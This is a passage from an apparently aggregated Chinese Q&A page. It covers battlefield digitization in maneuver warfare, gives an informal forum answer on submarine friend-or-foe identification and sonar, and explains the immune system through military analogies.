(3)戰場數字化將極大地增強作戰中的控制協調能力,更有利於在非線式的戰場上實現全縱深同時作戰。機動戰反對一成不變的、線式的、循規蹈矩的作戰觀念,特別是反對按模式行動的戰場行為,而高度強調「部隊應敢於在敵翼側或後方大膽流動作戰」的非線式戰場觀念。然而,在非線式的戰場上,要確保各個分散、流動的部隊能夠統一協調的作戰面臨許多挑戰,最突出的就是指揮失控與協同失調問題。對此,美軍也認為「指揮與控制那些遠離己方的部隊是一個非常棘手的問題」。而在數字化戰場上,這些在傳統戰場難以跨越的「障礙」,都將迎刃而解。這是因為,通過戰場數字化,在上下級、諸軍兵種和各種武器系統之間實現了信息獲取、傳遞處理一體化,使戰場上的各種要素連結成一個整體,極大地增強了戰場指揮控制與協調能力。
首先,上下級之間的指揮控制能力增強。一方面,使用數字化通信系統傳輸指令,比使用模擬或數模混合系統更為准確,更有利於下屬正確理解上級意圖。美軍的試驗與演習表明,在同一條件下,傳統模擬信號話音指令的傳遞准確率僅為22%,而相應的數字化信號傳遞准確率則高達98%,戰場環境越惡劣,這種差異越明顯。另一方面,作戰中指揮員對情況的了解主要來自每一個武器平台、每一個士兵配備的C3I系統,因而能夠隨時隨地地掌握每一個作戰單元的情況。即使是排級指揮員也能憑借其指揮官綜合顯示器,直接監視到所轄分隊的位置和態勢,大大強化了指揮控制能力。
其次,諸軍兵種之間的協調能力增強。數字化戰場指揮與傳統指揮的一個重要差別是,後者只能強化垂直(縱向)指揮鏈,而前者除此之外,還可在橫向上與責任地域之外的其他軍兵種、友鄰部隊建立迅捷的信息渠道。這樣,就廢除了以往在各軍兵種內互不相通的「煙囪式」通信系統,而使各種重要信息能夠同時傳送給各軍兵種的各級指揮員,實現了整個戰場信息的高度共享。例如各級指揮員可從不同指揮中心的顯示屏上同時看到己方部隊的部署與行動,每輛裝甲戰車通過車輛間信息系統能同時從各自的車載顯示器上獲知己方其他戰車的位置。由於這種聯絡是不間斷的,因而不僅大大減小了戰場誤傷概率,而且使各個部隊均能通過自主連續的調整,以空前的精度和速度實施協同作戰。
此外,作為軍兵種之間協調能力增強的一個重要特徵,戰場武器系統逐漸趨向一體化。例如,陸軍坦克和直升機的互通曾被認為是無法逾越的鴻溝,但在不久前美軍舉行的數字化演習中,兩者已實現了介面:一架偵察直升機把目標數據傳給了MIA2坦克,由其再召喚支援火力。由於目標數據的傳輸全部採用數字式通信系統,僅用2分鍾,迫擊炮即摧毀目標,使「陸軍第一次幾乎能像使用直瞄火力一樣使用間瞄火力」。可見,在數字化的戰場上,任何一件武器都不是孤立的,而是與其他武器相聯系的。所有武器系統,將共同構成一個龐大的戰場武器系統,協調地運用火力。從上不難看出,盡管未來機動戰中,作戰部隊在非線式戰場上將更加分散化、流動化,但通過數字化系統,無論是大規模的戰役級部隊,還是獨立楔入敵方縱深的特種分隊,都將在一張統一的「數字化信息網」中協調一致地行動,相互支援、相互配合,在戰場全縱深同時打擊敵人。
(4)戰場數字化將大大改善戰場勤務保障,最大限度地解決機動戰的後顧之憂實施機動戰,最大的「後顧之憂」就是戰場勤務支援問題。這是因為機動作戰中,各部隊的部署間隙大,加之機動頻繁,敵我犬牙交錯,因此很難在支援與作戰(被支援)部隊之間建立起牢固的支援關系。一旦作戰部隊位置發生變化,就可能造成支援行動與作戰行動脫節。尤其是突入敵方縱深的部隊,面臨的問題更加嚴峻。戰場數字化的實現,將為解決這一「後顧之憂」提供極大的可能。
戰場數字化的發展,使得各級保障指揮機構,乃至各種獨立的保障車輛都能通過「數字化系統」,全程監控戰場對勤務保障的需求情況。一方面,戰場上武器裝備耗損、人員傷亡情況可以較快地顯示出來,保障部隊可主動與被保障部隊聯系,並根據保障的性質和工作量,合理派出保障力量。另一方面,由於信息傳遞方便,保障人員在前進途中,不僅可根據情況進行有效准備,而且還可對保障對象予以有效指導。另外,由於戰場變化情況能夠立即反饋到保障部隊,保障部隊可根據戰場情況,准確地判斷出將要完成的保障任務,預先做好必要的保障准備,提高保障時效。特別是憑借匯集的監控數據顯示,保障部門可以明確輕重緩急,合理調控物資流向,准確預測、及時支援。這樣,在數字化戰場上,戰斗勤務保障的不再僅僅限於單純的彈葯、燃料、裝備等硬體支援,而且還將包括大量的諸如「裝備應急維修指令程序」等軟體支援,這種軟體支援將極大地提高作戰部隊的自我保障能力。
戰場數字化,對戰場後方勤務保障的改善,還突出表現為「數字化」極大地提高了單兵的戰場生存能力。士兵C3I系統的裝備,將使單兵的通信、定位、敵我識別,戰場態勢了解等能力空前強化,其最終結果是在提高單兵戰鬥力的同時,也提高了其生存能力。例如,士兵計算機裝有敵我識別程序,它能把士兵輸入的可疑車輛的特徵與資料庫中存儲的數據加以對比,給出正確的匹配圖形顯示,並提出防範措施。目前美軍正在研製的第二代士兵C3I系統,要求能對另一單兵進行實時敵我識別,並在0.5秒內把識別結果用數據網傳給指揮中心。另外,由於士兵攜帶有全球定位系統,任何時刻都知道自己所在位置,一旦自己或同伴受傷,就可以迅速引導搶救組直接趕去傷員所在地,並可在救治組趕到之前,利用頭盔上的電視攝像機,接受醫生的互救指導,以爭取時間,挽救更多按常規通信方式和救送程序耽誤了時間而失去生命的傷員。綜上所述,戰場數字化趨勢,不僅為機動戰在高技術條件下發揮其原有的巨大作用創造了更為有利的條件,而且還為解決其以往所面臨的諸多問題提供了極大可能。因此,可以肯定地說,戰場數字化趨勢,將為機動戰注入更大的活力,機動戰仍將是未來高技術戰場上的主要作戰形式。
『玖』 潛艇與潛艇、潛艇與軍艦怎樣進行敵我識別
呵呵 其實也不是什麼很高的國家機密了,只是專業性比較強而已 首先潛艇識別敵我分為兩種,水上和水下 先說水上吧水上部分簡單來說和大部分艦船一樣,裝有敵我識別系統 就拿我國自主研發的039常規動力潛艇為例吧 敵我識別器是一種中近距離身份識別裝置,識別器雙方的攻擊方會首先要求身份識別別提供一組隨機密碼,該密碼經解算後實際是一組隨機跳頻通信碼,而對方識別器將根據所在裝備唯一身份識別碼、識別器編碼、驗證加密演算法、駕駛員或艦長的識別碼(特殊裝備還需要任務識別碼)編制一組唯一的,不可仿製的編碼在上述跳頻發出,同時在上述跳頻頻率上接收對方識別碼,經解算後可以驗證敵我。 以上多是由039潛艇上的兩部雷達來完成,雷達型號和機能我不能透露,不過LZ可以搜一下,網上有
水下,水下敵我識別要困難的多,因為在水下,雷達和無線電不能用,而且為了加大隱蔽性。不被發現,潛艇雷達和無線電,包括主動聲納在大多數時候都為靜默狀體 在水下就有敵我識別聲納敵我識別聲納並不像敵我識別機那樣待機工作,而是在潛艇的被動聲納發現目標或艦艇的主動聲納發現目標後,由發現方首先發送一組特定變頻調幅波,而且功率極低,只有同型設備可以准確識別該信號並經解算後回復解算波,由於波形信號包含了艦艇及潛艇的身份及艦隊常用暗語等成分,所以一般無法仿製。
但由於潛艇屬於隱蔽型裝備,一般不希望被人發現,故此潛艇只有在攻擊前才會使用敵我識別聲納,因為該聲納的使用會暴露己方的位置,故此潛艇一般在水下都是單方面行動的。 給你們透露一些,我是潛艇聲納專業的,一個合格聲納兵,在聲納里能聽出在聲納探測范圍內(這里被動聲納就可以)螺旋槳的轉速,葉片數,和發動機型號,從而能夠推斷出目標的距離,行駛方向,速度,甚至是敵艦型號,針對某些國家,聲納兵能一下推算出艦船型號,和戰鬥力 潛艇一般不會以編隊形式出航,即使群體出航,也會事先在雷達與聲納儀器上設置友、鄰信號(039有兩台雷達,和4台不同功能的聲納
『拾』 免疫系統是如何運作的
人體免疫系統的基石是細胞,而人體本身就是由各種細胞組成的名副其實的細胞王國,在這個王國里,免疫細胞就像是「警察部門」,負責清除體內垃圾(凋亡細胞等)、叛徒(腫瘤細胞)和外敵(病毒病菌)。作為「部門員工」,健康活力的免疫細胞,才是我們極為珍貴的生命寶藏。
我的模樣(免疫組成)
我(免疫系統)就是人體(這個國家)的「軍隊」,時時刻刻保護著機體,抵抗內部變異垃圾及外來病原微生物的侵擾。人們常把我的這種保護功能叫免疫力。我先說說我這個「軍隊」組成。
近來人們習慣按照我們的功能來分為固有免疫系統和適應性免疫系統:
(一)固有免疫系統
固有免疫細胞包括NK細胞、肥大細胞、巨噬細胞、中性粒細胞,免疫細胞在體內的分布與分工具有重要的戰略意義。
(二)適應性免疫系統
適應性免疫系統是在固有免疫系統的基礎上的一次飛躍,它使免疫系統增加了「現代化」的成分和功能。其主要特點之一是其能夠區分不同微生物或者抗原之間的細微差異,似乎與現代戰爭的「精確打擊」有點相似。因此又被稱作特異性免疫系統。
我的能耐(免疫原理)
我在人體內,有好多職業。就像一個國家,有「國防軍」、「公安局」、「清潔隊」一樣。有時我當兵,有時值勤,有時我當清潔工。今天我給大家說說我是怎樣完成這些職業的。
細胞王國的防禦工事中最重要的部分是皮膚,完整的皮膚保護了王國絕大多數的邊境不受外敵侵犯,而在與外界相通的各個通商口岸,我們也是層層設防。雖然陣地工事建得是固若金湯,拒外來之敵於千里之外,但俗話說得好,」明槍易躲,暗箭難防」,對於出現在人體內部的敵人,如細菌、病毒,這道防線可以說是形同虛設。別忘了免疫系統還有著一支龐大而高效的軍隊(免疫細胞),這支軍隊不僅數量超卓,而且種類繁多,士兵各司其職,戰爭來臨時緊密聯系、相互配合,拳頭握在一起,把敵人打得落花流水。
對付普通敵人(如異物、細菌),免疫細胞大軍只需派出隊伍里的基層士兵即可搞定,比如中性粒細胞一般與細菌死磕,多數與細菌同歸於盡,我們傷口化膿感染的膿液,其實主要就由中性粒細胞的屍體組成。巨噬細胞可將來犯之敵一口吞掉,並將敵人的情報上報上級,這樣下次再看到同樣的敵人就可以直接消滅。再難對付點的敵人可以由B細胞產生的抗體來消滅,這些抗體像精確制導的」導彈」一樣一對一的消滅敵人,極為高效。